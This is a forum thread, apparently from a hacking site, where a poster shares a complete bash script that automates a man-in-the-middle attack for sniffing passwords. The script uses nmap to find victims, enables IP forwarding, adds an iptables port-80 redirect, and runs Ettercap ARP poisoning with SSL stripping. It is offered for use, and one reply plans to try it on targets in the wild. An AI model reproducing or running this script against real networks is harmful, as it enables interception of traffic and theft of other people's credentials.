Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Script]Automated script for MITM attack and password sniffing![/Script]

MITM Script



Some time ago, I posted a tutorial for password and msn conversation sniffing using MITM attack. This script is specially written, for the purpose to make that tutorial more useful to people, that are not able to find their way using CLI programs and their commands. I strongly advise each one of you, first to read the tutorial. That way you can know what actually happens in the background and understand the method better. Here is the link of the tutorial:





After you read the whole tutorial, you are ready to follow the basic instructions on how to use this script. I was thinking a lot of whether to give the source code due to leeching, but I don't really give a damn about it, so I figured it will be more useful to people who want to learn, if they also had the source code. Here is the source code:





In my tutorial I used Ettercap+SSLstrip and in my script I'm using only ettercap. The reason why I am doing that is because after a lot of testing, I found out that the Ettercap build in sslstriper makes problems when it's combined with SSLstrip. And that SSLstrip works a lot better combined with Arpspoof for the arppoisoning and Ettercap is run only in sniffing mode. Anyway Ettercap build in sslstriper works fine so I decided to use only Ettercap instead of Arpspoof+SSLstrip. If some of you want to have an Arpspoof+SLLstrip+Ettercap version of this script I will make that one too.


In order to use this script, you will have to copy-paste the above code in an empty file and save the file as ANYNAME.sh. Once that is done you will have to change the permissions via terminal like this:

Code
chmod 755 filename

In our case we will replace filename with our script name, but before we type this command we have to navigate to the folder that contains our script using the cd command:

Code
cd folderpath

Replace folderpath with the path of your folder. Also another possible solution would be instead of navigating to the folder to use:

Code
chmod 755 filepath


Once the permissions are changed, you can execute the script by navigating to the folder that contains this script via terminal and typing:

Code
./scriptname

Replace scriptname with the name of your script.


***THE END***


p.s. ALL YOU NEED TO KNOW IN ORDER TO USE THIS SCRIPT IS ENGLISH !!!
Leeching is a problem, one reason I took my link to my tool down. I think you know alot more than most here and think you should start a blog at blogspot or somewhere, I'd follow.
(Oct 24, 2010 06:22 AM)нα¢кєя Wrote:  https://hackforums.net/showthread.php?tid=339758

i made a better tut :P

... Do you know the difference between a script and a tut ? And I'm sorry but your tut is not better then mine for which this script is written :)
Because I know people will read this thread because it's something they need to learn, both MiTM and scripting... I'll put this link here.. I want to help out the wifi guys..

https://hackforums.net/showthread.php?tid=763479
(Oct 24, 2010 09:31 AM)sLiPpErY Wrote:  Because I know people will read this thread because it's something they need to learn, both MiTM and scripting... I'll put this link here.. I want to help out the wifi guys..

https://hackforums.net/showthread.php?tid=763479

Looks like you are not anymore with us... Anyway I know that leeching is a problem but I kinda feel generous :)
Mate, the script keeps giving me wierder then fuck errors in BT4. Care to PM me the original? I think maybe it was tampered with on pastebin.
Sure man I will send it to you in inbox :)
Code
#!/bin/bash
#Program MITM
#Variables
install1=""
proba=0
gateway=""
interface=""
answer=""

#Functions
function INTRO
{
clear
echo "##
#     #
#  Welcome to the MITM Sniffing attack brought to you by    #
#     #
#             -ac1dxtrem     #
#     #
##"
echo
}
function INSTALL-debian
{
    apt-get install ettercap
    apt-get install nmap
}
function INSTALL-redhat
{
    yum install ettercap
    yum install nmap
}     
function Find_Gateway
{
    INTRO
    route -n | grep 'UG[ \t]' | awk '{print $2}'
    echo
    echo "Please confirm your gateway IP address by typing it..."
    read gateway
}    
function Type_gateway
{
    INTRO
    echo "Please type your gateway IP address..."
    read gateway
}
function Find_Target
{
    INTRO
    nmap -sP $gateway/24
    echo
    echo "Here is a list of live targets. Please type the IP address of your target..."
    read target1
}
function Type_Target
{
    INTRO
    echo "Please type the IP address of your target..."
    read target1
}
function Interface1
{
    INTRO
    ifconfig
    echo "Please type your interface? Use the interface that has your IP address listed..."
    read interface
}    

function MITM
{
INTRO
echo "Requirements:
-ettercap
-nmap

If you have these apps, press 'y'. If not, press 'i' to install them."
read install1

INTRO

case $install1 in
  "y" ) echo "Good Job";;
  "i" ) echo "Do you use Debian or RedHat distribution ?( use lowercase letters )"
     read distribution
     case $distribution in
    "redhat" ) INSTALL-redhat;;    
    "debian" ) INSTALL-debian;;
       esac
       ;;
esac

INTRO

echo "Welcome to the target sellection part. Pres any key to continue..."
read

INTRO

echo "Do you like to sniff the whole network or a single target only ? Type whole/single?"
read target

INTRO

echo "Do you know your gateway IP address ? y/n?"
read answer
case $answer in
    "y") Type_gateway;;
    "n") Find_Gateway;;
esac

case $target in
    "whole") target1=""
    ;;
    "single") INTRO
            echo "Do you know the IP address of your target ? y/n ?"
            read answer

            case $answer in
              "y") Type_Target;;
              "n") Find_Target;;
            esac
    ;;
esac

Interface1

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

echo 1 > /proc/sys/net/ipv4/ip_forward

INTRO

ettercap -T -i $interface -q -M arp:remote /$gateway/ /$target1/

}

MITM

Here is the original script with some minor modifications. In this version of the script I'm using only Ettercap with the built in SSLStrip plugin instead of Ettercap+SSLStrip. Also be aware that error catching system is not made 'cause I was to lazy :) So if you miss type something you will probably have to start from the beginning. I tried to PM you but there were some errors so I just replied here. Please give back your feedback after testing... :)
It works now on both BackTrack 4 and Ubuntu 10.04LTS

But I have not tested it on targets in the wild, just on my own net work....

In a few days it will get field tested! NICE script man!!
I am glad you like it :) For a moment I thought that no one liked it 'cause people here are so fucking scared of codes and they don't understand scripting either... Anyway please keep me posted in this thread about any problems bugs or ideas :)
Very good man.
Keep it up bro.
~ Just a learner ~
A variant incorporating ARP spoofing/poisoning would make life a shitload easier... Because often it takes far too damn long to get set up and all that when all one DOESN'T have is time!

Excellent work!
(Nov 23, 2010 02:37 AM)-=HeX=- Wrote:  A variant incorporating ARP spoofing/poisoning would make life a shitload easier... Because often it takes far too damn long to get set up and all that when all one DOESN'T have is time!

Excellent work!

Thanks man I fully agree with you :) If you have any suggestion please share them with me I may code a second version with more options :)
Thank you man this is an awesome post
Awesome script man, saves a bit of time, thanks :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ◔ßorder╙ineExtrⒶOct 15, 2026 11:57 AM 2 62 Oct 15, 2026 11:57 AM
Last Post: ◔ßorder╙ineExtrⒶ
by 3sot3r1c_3Jul 21, 2024 07:10 PM 3 277 Jul 21, 2024 07:10 PM
Last Post: DramaKing
by yuutaDec 29, 2023 04:54 AM 4 255 Dec 29, 2023 04:54 AM
Last Post: yuuta